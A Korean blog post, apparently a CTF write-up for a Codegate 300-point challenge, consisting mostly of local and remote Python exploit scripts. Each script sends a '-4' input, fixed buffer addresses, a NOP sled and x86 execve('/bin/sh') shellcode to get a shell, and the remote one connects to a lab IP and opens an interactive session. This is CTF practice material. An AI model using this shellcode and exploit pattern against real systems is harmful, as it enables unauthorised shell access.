문제가 갈수록 더 쉬워지는 기분이다;
100, 200, 300점 순서를 바꿔야 할 것 같다.
이 문제는 또 이상한게 분명히 xinetd 로 돌려서 익스플로잇을 해 봤는데, 똑같은 코드를 그대로 로컬에서 돌리면 쉘이 잘 따이는데
리모트로 공격하면 아무리 해도 안되길래 둘 다 올려둔다.
혹시라도 왜 그런지 아는 사람은 답을 주시면 감사하겠습니다.
멍청하게 찡찡댔었다.
interact를 안하다니...아직도 멀었구나.
1 2 3 4 5 6 7 8 9 10 11 12 13 | import struct import os p32 = lambda x: struct.pack("<L", x) #=============================================== buf = 0x080491E0 shellcode = "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" # execve("/bin/sh", ["/bin/sh", 0], 0); #=============================================== payload = "-4\n"+p32(buf+4)+p32(buf+8)+"\x90"*100+shellcode os.system('(echo "'+payload+'";cat)|./cg13_300') | cs |
Local Exploit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | from hackutil import * from socket import * from time import * from telnetlib import * HOST = '192.168.136.180' PORT = 7777 #=============================================== buf = 0x080491E0 shellcode = "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" # execve("/bin/sh", ["/bin/sh", 0], 0); #=============================================== payload = p32(buf+4)+p32(buf+8)+"\x90"*100+shellcode sock = socket(AF_INET, SOCK_STREAM) sock.connect((HOST, PORT)) print sock.recv(1024) sock.send('-4\n'+payload) sleep(4) print sock.recv(1024) t = Telnet() t.sock = sock t.interact() | cs |
Remote Exploit
'CTF > 지난 대회' 카테고리의 다른 글
SecuInside 2013 - givemeshell (0) | 2016.01.13 |
---|---|
Codegate Junior 2015 Prequal - systemshock (0) | 2015.12.05 |
Codegate 2013 Prequal - vuln 200 (0) | 2015.11.21 |
Codegate 2015 - Bookstore (0) | 2015.11.16 |
Layer7 CTF 2015 - Spil..Spli....SPPPPPIILL (0) | 2015.11.03 |